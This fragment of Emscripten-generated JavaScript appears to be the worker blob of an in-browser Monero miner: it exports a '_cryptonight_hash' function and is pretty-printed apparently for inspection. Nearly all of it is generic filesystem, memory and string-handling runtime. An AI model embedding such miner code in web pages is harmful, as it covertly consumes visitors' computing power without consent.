r=FS.lookupPath(e,{follow:!0});if(null===r.node)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(!FS.isDir(r.node.mode))throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);var t=FS.nodePermissions(r.node,\"x\");if(t)throw new FS.ErrnoError(t);FS.currentPath=r.path},createDefaultDirectories:function(){FS.mkdir(\"/tmp\"),FS.mkdir(\"/home\"),FS.mkdir(\"/home/web_user\")},createDefaultDevices:function(){FS.mkdir(\"/dev\"),FS.registerDevice(FS.makedev(1,3),{read:function(){return 0},write:function(e,r,t,n,o){return n}}),FS.mkdev(\"/dev/null\",FS.makedev(1,3)),TTY.register(FS.makedev(5,0),TTY.default_tty_ops),TTY.register(FS.makedev(6,0),TTY.default_tty1_ops),FS.mkdev(\"/dev/tty\",FS.makedev(5,0)),FS.mkdev(\"/dev/tty1\",FS.makedev(6,0));var e;if(\"undefined\"!=typeof crypto){var r=new Uint8Array(1);e=function(){return crypto.getRandomValues(r),r[0]}}else e=function(){return 256*Math.random()|0};FS.createDevice(\"/dev\",\"random\",e),FS.createDevice(\"/dev\",\"urandom\",e),FS.mkdir(\"/dev/shm\"),FS.mkdir(\"/dev/shm/tmp\")},createSpecialDirectories:function(){FS.mkdir(\"/proc\"),FS.mkdir(\"/proc/self\"),FS.mkdir(\"/proc/self/fd\"),FS.mount({mount:function(){var e=FS.createNode(\"/proc/self\",\"fd\",16895,73);return e.node_ops={lookup:function(e,r){var t=+r,n=FS.getStream(t);if(!n)throw new FS.ErrnoError(ERRNO_CODES.EBADF);var o={parent:null,mount:{mountpoint:\"fake\"},node_ops:{readlink:function(){return n.path}}};return o.parent=o,o}},e}},{},\"/proc/self/fd\")},createStandardStreams:function(){Module.stdin?FS.createDevice(\"/dev\",\"stdin\",Module.stdin):FS.symlink(\"/dev/tty\",\"/dev/stdin\"),Module.stdout?FS.createDevice(\"/dev\",\"stdout\",null,Module.stdout):FS.symlink(\"/dev/tty\",\"/dev/stdout\"),Module.stderr?FS.createDevice(\"/dev\",\"stderr\",null,Module.stderr):FS.symlink(\"/dev/tty1\",\"/dev/stderr\");var e=FS.open(\"/dev/stdin\",\"r\");assert(0===e.fd,\"invalid handle for stdin (\"+e.fd+\")\");var r=FS.open(\"/dev/stdout\",\"w\");assert(1===r.fd,\"invalid handle for stdout (\"+r.fd+\")\");var t=FS.open(\"/dev/stderr\",\"w\");assert(2===t.fd,\"invalid handle for stderr (\"+t.fd+\")\")},ensureErrnoError:function(){FS.ErrnoError||(FS.ErrnoError=function(e,r){this.node=r,this.setErrno=function(e){this.errno=e;for(var r in ERRNO_CODES)if(ERRNO_CODES[r]===e){this.code=r;break}},this.setErrno(e),this.message=ERRNO_MESSAGES[e]},FS.ErrnoError.prototype=new Error,FS.ErrnoError.prototype.constructor=FS.ErrnoError,[ERRNO_CODES.ENOENT].forEach(function(e){FS.genericErrors[e]=new FS.ErrnoError(e),FS.genericErrors[e].stack=\"<generic error, no stack>\"}))},staticInit:function(){FS.ensureErrnoError(),FS.nameTable=new Array(4096),FS.mount(MEMFS,{},\"/\"),FS.createDefaultDirectories(),FS.createDefaultDevices(),FS.createSpecialDirectories(),FS.filesystems={MEMFS:MEMFS,IDBFS:IDBFS,NODEFS:NODEFS,WORKERFS:WORKERFS}},init:function(e,r,t){assert(!FS.init.initialized,\"FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)\"),FS.init.initialized=!0,FS.ensureErrnoError(),Module.stdin=e||Module.stdin,Module.stdout=r||Module.stdout,Module.stderr=t||Module.stderr,FS.createStandardStreams()},quit:function(){FS.init.initialized=!1;var e=Module._fflush;e&&e(0);for(var r=0;r<FS.streams.length;r++){var t=FS.streams[r];t&&FS.close(t)}},getMode:function(e,r){var t=0;return e&&(t|=365),r&&(t|=146),t},joinPath:function(e,r){var t=PATH.join.apply(null,e);return r&&\"/\"==t[0]&&(t=t.substr(1)),t},absolutePath:function(e,r){return PATH.resolve(r,e)},standardizePath:function(e){return PATH.normalize(e)},findObject:function(e,r){var t=FS.analyzePath(e,r);return t.exists?t.object:(___setErrNo(t.error),null)},analyzePath:function(e,r){try{e=(n=FS.lookupPath(e,{follow:!r})).path}catch(e){}var t={isRoot:!1,exists:!1,error:0,name:null,path:null,object:null,parentExists:!1,parentPath:null,parentObject:null};try{var n=FS.lookupPath(e,{parent:!0});t.parentExists=!0,t.parentPath=n.path,t.parentObject=n.node,t.name=PATH.basename(e),n=FS.lookupPath(e,{follow:!r}),t.exists=!0,t.path=n.path,t.object=n.node,t.name=n.node.name,t.isRoot=\"/\"===n.path}catch(e){t.error=e.errno}return t},createFolder:function(e,r,t,n){var o=PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r),i=FS.getMode(t,n);return FS.mkdir(o,i)},createPath:function(e,r,t,n){e=\"string\"==typeof e?e:FS.getPath(e);for(var o=r.split(\"/\").reverse();o.length;){var i=o.pop();if(i){var a=PATH.join2(e,i);try{FS.mkdir(a)}catch(e){}e=a}}return a},createFile:function(e,r,t,n,o){var i=PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r),a=FS.getMode(n,o);return FS.create(i,a)},createDataFile:function(e,r,t,n,o,i){var a=r?PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r):e,s=FS.getMode(n,o),u=FS.create(a,s);if(t){if(\"string\"==typeof t){for(var l=new Array(t.length),c=0,d=t.length;c<d;++c)l[c]=t.charCodeAt(c);t=l}FS.chmod(u,146|s);var E=FS.open(u,\"w\");FS.write(E,t,0,t.length,0,i),FS.close(E),FS.chmod(u,s)}return u},createDevice:function(e,r,t,n){var o=PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r),i=FS.getMode(!!t,!!n);FS.createDevice.major||(FS.createDevice.major=64);var a=FS.makedev(FS.createDevice.major++,0);return FS.registerDevice(a,{open:function(e){e.seekable=!1},close:function(e){n&&n.buffer&&n.buffer.length&&n(10)},read:function(e,r,n,o,i){for(var a=0,s=0;s<o;s++){var u;try{u=t()}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(void 0===u&&0===a)throw new FS.ErrnoError(ERRNO_CODES.EAGAIN);if(null===u||void 0===u)break;a++,r[n+s]=u}return a&&(e.node.timestamp=Date.now()),a},write:function(e,r,t,o,i){for(var a=0;a<o;a++)try{n(r[t+a])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return o&&(e.node.timestamp=Date.now()),a}}),FS.mkdev(o,i,a)},createLink:function(e,r,t,n,o){var i=PATH.join2(\"string\"==typeof e?e:FS.getPath(e),r);return FS.symlink(t,i)},forceLoadFile:function(e){if(e.isDevice||e.isFolder||e.link||e.contents)return!0;var r=!0;if(\"undefined\"!=typeof XMLHttpRequest)throw new Error(\"Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.\");if(!Module.read)throw new Error(\"Cannot load without read() or XMLHttpRequest.\");try{e.contents=intArrayFromString(Module.read(e.url),!0),e.usedBytes=e.contents.length}catch(e){r=!1}return r||___setErrNo(ERRNO_CODES.EIO),r},createLazyFile:function(e,r,t,n,o){function i(){this.lengthKnown=!1,this.chunks=[]}if(i.prototype.get=function(e){if(!(e>this.length-1||e<0)){var r=e%this.chunkSize,t=e/this.chunkSize|0;return this.getter(t)[r]}},i.prototype.setDataGetter=function(e){this.getter=e},i.prototype.cacheLength=function(){var e=new XMLHttpRequest;if(e.open(\"HEAD\",t,!1),e.send(null),!(e.status>=200&&e.status<300||304===e.status))throw new Error(\"Couldn't load \"+t+\". Status: \"+e.status);var r,n=Number(e.getResponseHeader(\"Content-length\")),o=(r=e.getResponseHeader(\"Accept-Ranges\"))&&\"bytes\"===r,i=(r=e.getResponseHeader(\"Content-Encoding\"))&&\"gzip\"===r,a=1048576;o||(a=n);var s=this;s.setDataGetter(function(e){var r=e*a,o=(e+1)*a-1;if(o=Math.min(o,n-1),void 0===s.chunks[e]&&(s.chunks[e]=function(e,r){if(e>r)throw new Error(\"invalid range (\"+e+\", \"+r+\") or no bytes requested!\");if(r>n-1)throw new Error(\"only \"+n+\" bytes available! programmer error!\");var o=new XMLHttpRequest;if(o.open(\"GET\",t,!1),n!==a&&o.setRequestHeader(\"Range\",\"bytes=\"+e+\"-\"+r),\"undefined\"!=typeof Uint8Array&&(o.responseType=\"arraybuffer\"),o.overrideMimeType&&o.overrideMimeType(\"text/plain; charset=x-user-defined\"),o.send(null),!(o.status>=200&&o.status<300||304===o.status))throw new Error(\"Couldn't load \"+t+\". Status: \"+o.status);return void 0!==o.response?new Uint8Array(o.response||[]):intArrayFromString(o.responseText||\"\",!0)}(r,o)),void 0===s.chunks[e])throw new Error(\"doXHR failed!\");return s.chunks[e]}),!i&&n||(a=n=1,n=this.getter(0).length,a=n,console.log(\"LazyFiles on gzip forces download of the whole file when length is accessed\")),this._length=n,this._chunkSize=a,this.lengthKnown=!0},\"undefined\"!=typeof XMLHttpRequest){if(!ENVIRONMENT_IS_WORKER)throw\"Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc\";var a=new i;Object.defineProperties(a,{length:{get:function(){return this.lengthKnown||this.cacheLength(),this._length}},chunkSize:{get:function(){return this.lengthKnown||this.cacheLength(),this._chunkSize}}});var s={isDevice:!1,contents:a}}else s={isDevice:!1,url:t};var u=FS.createFile(e,r,s,n,o);s.contents?u.contents=s.contents:s.url&&(u.contents=null,u.url=s.url),Object.defineProperties(u,{usedBytes:{get:function(){return this.contents.length}}});var l={};return Object.keys(u.stream_ops).forEach(function(e){var r=u.stream_ops[e];l[e]=function(){if(!FS.forceLoadFile(u))throw new FS.ErrnoError(ERRNO_CODES.EIO);return r.apply(null,arguments)}}),l.read=function(e,r,t,n,o){if(!FS.forceLoadFile(u))throw new FS.ErrnoError(ERRNO_CODES.EIO);var i=e.node.contents;if(o>=i.length)return 0;var a=Math.min(i.length-o,n);if(assert(a>=0),i.slice)for(var s=0;s<a;s++)r[t+s]=i[o+s];else for(s=0;s<a;s++)r[t+s]=i.get(o+s);return a},u.stream_ops=l,u},createPreloadedFile:function(e,r,t,n,o,i,a,s,u,l){function c(t){function c(t){l&&l(),s||FS.createDataFile(e,r,t,n,o,u),i&&i(),removeRunDependency(E)}var f=!1;Module.preloadPlugins.forEach(function(e){f||e.canHandle(d)&&(e.handle(t,d,c,function(){a&&a(),removeRunDependency(E)}),f=!0)}),f||c(t)}Browser.init();var d=r?PATH.resolve(PATH.join2(e,r)):e,E=getUniqueRunDependency(\"cp \"+d);addRunDependency(E),\"string\"==typeof t?Browser.asyncLoad(t,function(e){c(e)},a):c(t)},indexedDB:function(){return window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB},DB_NAME:function(){return\"EM_FS_\"+window.location.pathname},DB_VERSION:20,DB_STORE_NAME:\"FILE_DATA\",saveFilesToDB:function(e,r,t){r=r||function(){},t=t||function(){};var n=FS.indexedDB();try{var o=n.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return t(e)}o.onupgradeneeded=function(){console.log(\"creating db\");o.result.createObjectStore(FS.DB_STORE_NAME)},o.onsuccess=function(){function n(){0==u?r():t()}var i=o.result.transaction([FS.DB_STORE_NAME],\"readwrite\"),a=i.objectStore(FS.DB_STORE_NAME),s=0,u=0,l=e.length;e.forEach(function(e){var r=a.put(FS.analyzePath(e).object.contents,e);r.onsuccess=function(){++s+u==l&&n()},r.onerror=function(){s+ ++u==l&&n()}}),i.onerror=t},o.onerror=t},loadFilesFromDB:function(e,r,t){r=r||function(){},t=t||function(){};var n=FS.indexedDB();try{var o=n.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return t(e)}o.onupgradeneeded=t,o.onsuccess=function(){function n(){0==l?r():t()}var i=o.result;try{var a=i.transaction([FS.DB_STORE_NAME],\"readonly\")}catch(e){return void t(e)}var s=a.objectStore(FS.DB_STORE_NAME),u=0,l=0,c=e.length;e.forEach(function(e){var r=s.get(e);r.onsuccess=function(){FS.analyzePath(e).exists&&FS.unlink(e),FS.createDataFile(PATH.dirname(e),PATH.basename(e),r.result,!0,!0,!0),++u+l==c&&n()},r.onerror=function(){u+ ++l==c&&n()}}),a.onerror=t},o.onerror=t}},SYSCALLS={DEFAULT_POLLMASK:5,mappings:{},umask:511,calculateAt:function(e,r){if(\"/\"!==r[0]){var t;if(-100===e)t=FS.cwd();else{var n=FS.getStream(e);if(!n)throw new FS.ErrnoError(ERRNO_CODES.EBADF);t=n.path}r=PATH.join2(t,r)}return r},doStat:function(e,r,t){try{var n=e(r)}catch(e){if(e&&e.node&&PATH.normalize(r)!==PATH.normalize(FS.getPath(e.node)))return-ERRNO_CODES.ENOTDIR;throw e}return HEAP32[t>>2]=n.dev,HEAP32[t+4>>2]=0,HEAP32[t+8>>2]=n.ino,HEAP32[t+12>>2]=n.mode,HEAP32[t+16>>2]=n.nlink,HEAP32[t+20>>2]=n.uid,HEAP32[t+24>>2]=n.gid,HEAP32[t+28>>2]=n.rdev,HEAP32[t+32>>2]=0,HEAP32[t+36>>2]=n.size,HEAP32[t+40>>2]=4096,HEAP32[t+44>>2]=n.blocks,HEAP32[t+48>>2]=n.atime.getTime()/1e3|0,HEAP32[t+52>>2]=0,HEAP32[t+56>>2]=n.mtime.getTime()/1e3|0,HEAP32[t+60>>2]=0,HEAP32[t+64>>2]=n.ctime.getTime()/1e3|0,HEAP32[t+68>>2]=0,HEAP32[t+72>>2]=n.ino,0},doMsync:function(e,r,t,n){var o=new Uint8Array(HEAPU8.subarray(e,e+t));FS.msync(r,o,0,t,n)},doMkdir:function(e,r){return\"/\"===(e=PATH.normalize(e))[e.length-1]&&(e=e.substr(0,e.length-1)),FS.mkdir(e,r,0),0},doMknod:function(e,r,t){switch(61440&r){case 32768:case 8192:case 24576:case 4096:case 49152:break;default:return-ERRNO_CODES.EINVAL}return FS.mknod(e,r,t),0},doReadlink:function(e,r,t){if(t<=0)return-ERRNO_CODES.EINVAL;var n=FS.readlink(e),o=Math.min(t,lengthBytesUTF8(n)),i=HEAP8[r+o];return stringToUTF8(n,r,t+1),HEAP8[r+o]=i,o},doAccess:function(e,r){if(-8&r)return-ERRNO_CODES.EINVAL;var t;t=FS.lookupPath(e,{follow:!0}).node;var n=\"\";return 4&r&&(n+=\"r\"),2&r&&(n+=\"w\"),1&r&&(n+=\"x\"),n&&FS.nodePermissions(t,n)?-ERRNO_CODES.EACCES:0},doDup:function(e,r,t){var n=FS.getStream(t);return n&&FS.close(n),FS.open(e,r,0,t,t).fd},doReadv:function(e,r,t,n){for(var o=0,i=0;i<t;i++){var a=HEAP32[r+8*i>>2],s=HEAP32[r+(8*i+4)>>2],u=FS.read(e,HEAP8,a,s,n);if(u<0)return-1;if(o+=u,u<s)break}return o},doWritev:function(e,r,t,n){for(var o=0,i=0;i<t;i++){var a=HEAP32[r+8*i>>2],s=HEAP32[r+(8*i+4)>>2],u=FS.write(e,HEAP8,a,s,n);if(u<0)return-1;o+=u}return o},varargs:0,get:function(e){SYSCALLS.varargs+=4;return HEAP32[SYSCALLS.varargs-4>>2]},getStr:function(){return Pointer_stringify(SYSCALLS.get())},getStreamFromFD:function(){var e=FS.getStream(SYSCALLS.get());if(!e)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return e},getSocketFromFD:function(){var e=SOCKFS.getSocket(SYSCALLS.get());if(!e)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return e},getSocketAddress:function(e){var r=SYSCALLS.get(),t=SYSCALLS.get();if(e&&0===r)return null;var n=__read_sockaddr(r,t);if(n.errno)throw new FS.ErrnoError(n.errno);return n.addr=DNS.lookup_addr(n.addr)||n.addr,n},get64:function(){var e=SYSCALLS.get(),r=SYSCALLS.get();return assert(e>=0?0===r:-1===r),e},getZero:function(){assert(0===SYSCALLS.get())}},___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString(\"GMT\"),\"i8\",ALLOC_STATIC);FS.staticInit(),__ATINIT__.unshift(function(){Module.noFSInit||FS.init.initialized||FS.init()}),__ATMAIN__.push(function(){FS.ignorePermissions=!1}),__ATEXIT__.push(function(){FS.quit()}),Module.FS_createFolder=FS.createFolder,Module.FS_createPath=FS.createPath,Module.FS_createDataFile=FS.createDataFile,Module.FS_createPreloadedFile=FS.createPreloadedFile,Module.FS_createLazyFile=FS.createLazyFile,Module.FS_createLink=FS.createLink,Module.FS_createDevice=FS.createDevice,Module.FS_unlink=FS.unlink,__ATINIT__.unshift(function(){TTY.init()}),__ATEXIT__.push(function(){TTY.shutdown()}),DYNAMICTOP_PTR=allocate(1,\"i32\",ALLOC_STATIC),STACK_BASE=STACKTOP=Runtime.alignMemory(STATICTOP),STACK_MAX=STACK_BASE+TOTAL_STACK,DYNAMIC_BASE=Runtime.alignMemory(STACK_MAX),HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE,staticSealed=!0,Module.wasmTableSize=14,Module.wasmMaxTableSize=14,Module.asmGlobalArg={Math:Math,Int8Array:Int8Array,Int16Array:Int16Array,Int32Array:Int32Array,Uint8Array:Uint8Array,Uint16Array:Uint16Array,Uint32Array:Uint32Array,Float32Array:Float32Array,Float64Array:Float64Array,NaN:NaN,Infinity:1/0},Module.asmLibraryArg={abort:abort,assert:assert,enlargeMemory:enlargeMemory,getTotalMemory:getTotalMemory,abortOnCannotGrowMemory:abortOnCannotGrowMemory,invoke_ii:invoke_ii,invoke_iiii:invoke_iiii,invoke_viii:invoke_viii,_gmtime_r:_gmtime_r,_gmtime:_gmtime,___lock:___lock,___syscall6:___syscall6,___setErrNo:___setErrNo,___unlock:___unlock,_ftime:_ftime,_emscripten_memcpy_big:_emscripten_memcpy_big,___syscall54:___syscall54,___syscall140:___syscall140,___syscall20:___syscall20,___assert_fail:___assert_fail,___syscall146:___syscall146,DYNAMICTOP_PTR:DYNAMICTOP_PTR,tempDoublePtr:tempDoublePtr,STACK_MAX:STACK_MAX,STACKTOP:STACKTOP,ABORT:ABORT};var asm=Module.asm(Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module.asm=asm;var _cryptonight_hash=Module._cryptonight_hash=function(){return Module.asm._cryptonight_hash.apply(null,arguments)},getTempRet0=Module.getTempRet0=function(){return Module.asm.getTempRet0.apply(null,arguments)},_free=Module._free=function(){return Module.asm._free.apply(null,arguments)},runPostSets=Module.runPostSets=function(){return Module.asm.runPostSets.apply(null,arguments)},setTempRet0=Module.setTempRet0=function(){return Module.asm.setTempRet0.apply(null,arguments)},establishStackSpace=Module.establishStackSpace=function(){return Module.asm.establishStackSpace.apply(null,arguments)},_memmove=Module._memmove=function(){return Module.asm._memmove.apply(null,arguments)},stackSave=Module.stackSave=function(){return Module.asm.stackSave.apply(null,arguments)},_memset=Module._memset=function(){return Module.asm._memset.apply(null,arguments)},_malloc=Module._malloc=function(){return Module.asm._malloc.apply(null,arguments)};"])); | |
//////////////////////////////////// | |
// pretty print of XMnr.WORKER_BLOB | |
//////////////////////////////////// | |
function globalEval(e) { | |
eval.call(null, e) | |
} | |
function assert(e, r) { | |
e || abort("Assertion failed: " + r) | |
} | |
function getCFunc(ident) { | |
var func = Module["_" + ident]; | |
if (!func) try { | |
func = eval("_" + ident) | |
} catch (e) {} | |
return assert(func, "Cannot call unknown function " + ident + " (perhaps LLVM optimizations or closure removed it?)"), func | |
} | |
function setValue(e, r, t, n) { | |
switch ("*" === (t = t || "i8").charAt(t.length - 1) && (t = "i32"), t) { | |
case "i1": | |
case "i8": | |
HEAP8[e >> 0] = r; | |
break; | |
case "i16": | |
HEAP16[e >> 1] = r; | |
break; | |
case "i32": | |
HEAP32[e >> 2] = r; | |
break; | |
case "i64": | |
tempI64 = [r >>> 0, (tempDouble = r, +Math_abs(tempDouble) >= 1 ? tempDouble > 0 ? (0 | Math_min(+Math_floor(tempDouble / 4294967296), 4294967295)) >>> 0 : ~~+Math_ceil((tempDouble - +(~~tempDouble >>> 0)) / 4294967296) >>> 0 : 0)], HEAP32[e >> 2] = tempI64[0], HEAP32[e + 4 >> 2] = tempI64[1]; | |
break; | |
case "float": | |
HEAPF32[e >> 2] = r; | |
break; | |
case "double": | |
HEAPF64[e >> 3] = r; | |
break; | |
default: | |
abort("invalid type for setValue: " + t) | |
} | |
} | |
function getValue(e, r, t) { | |
switch ("*" === (r = r || "i8").charAt(r.length - 1) && (r = "i32"), r) { | |
case "i1": | |
case "i8": | |
return HEAP8[e >> 0]; | |
case "i16": | |
return HEAP16[e >> 1]; | |
case "i32": | |
case "i64": | |
return HEAP32[e >> 2]; | |
case "float": | |
return HEAPF32[e >> 2]; | |
case "double": | |
return HEAPF64[e >> 3]; | |
default: | |
abort("invalid type for setValue: " + r) | |
} | |
return null | |
} | |
function allocate(e, r, t, n) { | |
var o, i; | |
"number" == typeof e ? (o = !0, i = e) : (o = !1, i = e.length); | |
var a, s = "string" == typeof r ? r : null; | |
if (a = t == ALLOC_NONE ? n : ["function" == typeof _malloc ? _malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][void 0 === t ? ALLOC_STATIC : t](Math.max(i, s ? 1 : r.length)), o) { | |
var u; | |
n = a; | |
for (assert(0 == (3 & a)), u = a + (-4 & i); n < u; n += 4) HEAP32[n >> 2] = 0; | |
for (u = a + i; n < u;) HEAP8[n++ >> 0] = 0; | |
return a | |
} | |
if ("i8" === s) return e.subarray || e.slice ? HEAPU8.set(e, a) : HEAPU8.set(new Uint8Array(e), a), a; | |
for (var l, c, d, E = 0; E < i;) { | |
var f = e[E]; | |
"function" == typeof f && (f = Runtime.getFunctionIndex(f)), 0 !== (l = s || r[E]) ? ("i64" == l && (l = "i32"), setValue(a + E, f, l), d !== l && (c = Runtime.getNativeTypeSize(l), d = l), E += c) : E++ | |
} | |
return a | |
} | |
function getMemory(e) { | |
return staticSealed ? runtimeInitialized ? _malloc(e) : Runtime.dynamicAlloc(e) : Runtime.staticAlloc(e) | |
} | |
function Pointer_stringify(e, r) { | |
if (0 === r || !e) return ""; | |
for (var t, n = 0, o = 0; t = HEAPU8[e + o >> 0], n |= t, (0 != t || r) && (o++, !r || o != r);); | |
r || (r = o); | |
var i = ""; | |
if (n < 128) { | |
for (var a; r > 0;) a = String.fromCharCode.apply(String, HEAPU8.subarray(e, e + Math.min(r, 1024))), i = i ? i + a : a, e += 1024, r -= 1024; | |
return i | |
} | |
return Module.UTF8ToString(e) | |
} | |
function AsciiToString(e) { | |
for (var r = "";;) { | |
var t = HEAP8[e++ >> 0]; | |
if (!t) return r; | |
r += String.fromCharCode(t) | |
} | |
} | |
function stringToAscii(e, r) { | |
return writeAsciiToMemory(e, r, !1) | |
} | |
function UTF8ArrayToString(e, r) { | |
for (var t = r; e[t];) ++t; | |
if (t - r > 16 && e.subarray && UTF8Decoder) return UTF8Decoder.decode(e.subarray(r, t)); | |
for (var n, o, i, a, s, u = "";;) { | |
if (!(n = e[r++])) return u; | |
if (128 & n) | |
if (o = 63 & e[r++], 192 != (224 & n)) | |
if (i = 63 & e[r++], 224 == (240 & n) ? n = (15 & n) << 12 | o << 6 | i : (a = 63 & e[r++], 240 == (248 & n) ? n = (7 & n) << 18 | o << 12 | i << 6 | a : (s = 63 & e[r++], n = 248 == (252 & n) ? (3 & n) << 24 | o << 18 | i << 12 | a << 6 | s : (1 & n) << 30 | o << 24 | i << 18 | a << 12 | s << 6 | 63 & e[r++])), n < 65536) u += String.fromCharCode(n); | |
else { | |
var l = n - 65536; | |
u += String.fromCharCode(55296 | l >> 10, 56320 | 1023 & l) | |
} | |
else u += String.fromCharCode((31 & n) << 6 | o); | |
else u += String.fromCharCode(n) | |
} | |
} | |
function UTF8ToString(e) { | |
return UTF8ArrayToString(HEAPU8, e) | |
} | |
function stringToUTF8Array(e, r, t, n) { | |
if (!(n > 0)) return 0; | |
for (var o = t, i = t + n - 1, a = 0; a < e.length; ++a) { | |
var s = e.charCodeAt(a); | |
if (s >= 55296 && s <= 57343 && (s = 65536 + ((1023 & s) << 10) | 1023 & e.charCodeAt(++a)), s <= 127) { | |
if (t >= i) break; | |
r[t++] = s | |
} else if (s <= 2047) { | |
if (t + 1 >= i) break; | |
r[t++] = 192 | s >> 6, r[t++] = 128 | 63 & s | |
} else if (s <= 65535) { | |
if (t + 2 >= i) break; | |
r[t++] = 224 | s >> 12, r[t++] = 128 | s >> 6 & 63, r[t++] = 128 | 63 & s | |
} else if (s <= 2097151) { | |
if (t + 3 >= i) break; | |
r[t++] = 240 | s >> 18, r[t++] = 128 | s >> 12 & 63, r[t++] = 128 | s >> 6 & 63, r[t++] = 128 | 63 & s | |
} else if (s <= 67108863) { | |
if (t + 4 >= i) break; | |
r[t++] = 248 | s >> 24, r[t++] = 128 | s >> 18 & 63, r[t++] = 128 | s >> 12 & 63, r[t++] = 128 | s >> 6 & 63, r[t++] = 128 | 63 & s | |
} else { | |
if (t + 5 >= i) break; | |
r[t++] = 252 | s >> 30, r[t++] = 128 | s >> 24 & 63, r[t++] = 128 | s >> 18 & 63, r[t++] = 128 | s >> 12 & 63, r[t++] = 128 | s >> 6 & 63, r[t++] = 128 | 63 & s | |
} | |
} | |
return r[t] = 0, t - o | |
} | |
function stringToUTF8(e, r, t) { | |
return stringToUTF8Array(e, HEAPU8, r, t) | |
} | |
function lengthBytesUTF8(e) { | |
for (var r = 0, t = 0; t < e.length; ++t) { | |
var n = e.charCodeAt(t); | |
n >= 55296 && n <= 57343 && (n = 65536 + ((1023 & n) << 10) | 1023 & e.charCodeAt(++t)), n <= 127 ? ++r : r += n <= 2047 ? 2 : n <= 65535 ? 3 : n <= 2097151 ? 4 : n <= 67108863 ? 5 : 6 | |
} | |
return r | |
} | |
function demangle(e) { | |
var r = Module.___cxa_demangle || Module.__cxa_demangle; | |
if (r) { | |
try { | |
var t = e.substr(1), | |
n = lengthBytesUTF8(t) + 1, | |
o = _malloc(n); | |
stringToUTF8(t, o, n); | |
var i = _malloc(4), | |
a = r(o, 0, 0, i); | |
if (0 === getValue(i, "i32") && a) return Pointer_stringify(a) | |
} catch (e) {} finally { | |
o && _free(o), i && _free(i), a && _free(a) | |
} | |
return e | |
} | |
return Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling"), e | |
} | |
function demangleAll(e) { | |
return e.replace(/__Z[\\w\\d_]+/g, function(e) { | |
var r = demangle(e); | |
return e === r ? e : e + " [" + r + "]" | |
}) | |
} | |
function jsStackTrace() { | |
var e = new Error; | |
if (!e.stack) { | |
try { | |
throw new Error(0) | |
} catch (r) { | |
e = r | |
} | |
if (!e.stack) return "(no stack trace available)" | |
} | |
return e.stack.toString() | |
} | |
function stackTrace() { | |
var e = jsStackTrace(); | |
return Module.extraStackTrace && (e += "\\\\n" + Module.extraStackTrace()), demangleAll(e) | |
} | |
function alignUp(e, r) { | |
return e % r > 0 && (e += r - e % r), e | |
} | |
function updateGlobalBuffer(e) { | |
Module.buffer = buffer = e | |
} | |
function updateGlobalBufferViews() { | |
Module.HEAP8 = HEAP8 = new Int8Array(buffer), Module.HEAP16 = HEAP16 = new Int16Array(buffer), Module.HEAP32 = HEAP32 = new Int32Array(buffer), Module.HEAPU8 = HEAPU8 = new Uint8Array(buffer), Module.HEAPU16 = HEAPU16 = new Uint16Array(buffer), Module.HEAPU32 = HEAPU32 = new Uint32Array(buffer), Module.HEAPF32 = HEAPF32 = new Float32Array(buffer), Module.HEAPF64 = HEAPF64 = new Float64Array(buffer) | |
} | |
function abortOnCannotGrowMemory() { | |
abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value " + TOTAL_MEMORY + ", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ") | |
} | |
function enlargeMemory() { | |
abortOnCannotGrowMemory() | |
} | |
function getTotalMemory() { | |
return TOTAL_MEMORY | |
} | |
function callRuntimeCallbacks(e) { | |
for (; e.length > 0;) { | |
var r = e.shift(); | |
if ("function" != typeof r) { | |
var t = r.func; | |
"number" == typeof t ? void 0 === r.arg ? Module.dynCall_v(t) : Module.dynCall_vi(t, r.arg) : t(void 0 === r.arg ? null : r.arg) | |
} else r() | |
} | |
} | |
function preRun() { | |
if (Module.preRun) | |
for ("function" == typeof Module.preRun && (Module.preRun = [Module.preRun]); Module.preRun.length;) addOnPreRun(Module.preRun.shift()); | |
callRuntimeCallbacks(__ATPRERUN__) | |
} | |
function ensureInitRuntime() { | |
runtimeInitialized || (runtimeInitialized = !0, callRuntimeCallbacks(__ATINIT__)) | |
} | |
function preMain() { | |
callRuntimeCallbacks(__ATMAIN__) | |
} | |
function exitRuntime() { | |
callRuntimeCallbacks(__ATEXIT__), runtimeExited = !0 | |
} | |
function postRun() { | |
if (Module.postRun) | |
for ("function" == typeof Module.postRun && (Module.postRun = [Module.postRun]); Module.postRun.length;) addOnPostRun(Module.postRun.shift()); | |
callRuntimeCallbacks(__ATPOSTRUN__) | |
} | |
function addOnPreRun(e) { | |
__ATPRERUN__.unshift(e) | |
} | |
function addOnInit(e) { | |
__ATINIT__.unshift(e) | |
} | |
function addOnPreMain(e) { | |
__ATMAIN__.unshift(e) | |
} | |
function addOnExit(e) { | |
__ATEXIT__.unshift(e) | |
} | |
function addOnPostRun(e) { | |
__ATPOSTRUN__.unshift(e) | |
} | |
function intArrayFromString(e, r, t) { | |
var n = t > 0 ? t : lengthBytesUTF8(e) + 1, | |
o = new Array(n), | |
i = stringToUTF8Array(e, o, 0, o.length); | |
return r && (o.length = i), o | |
} | |
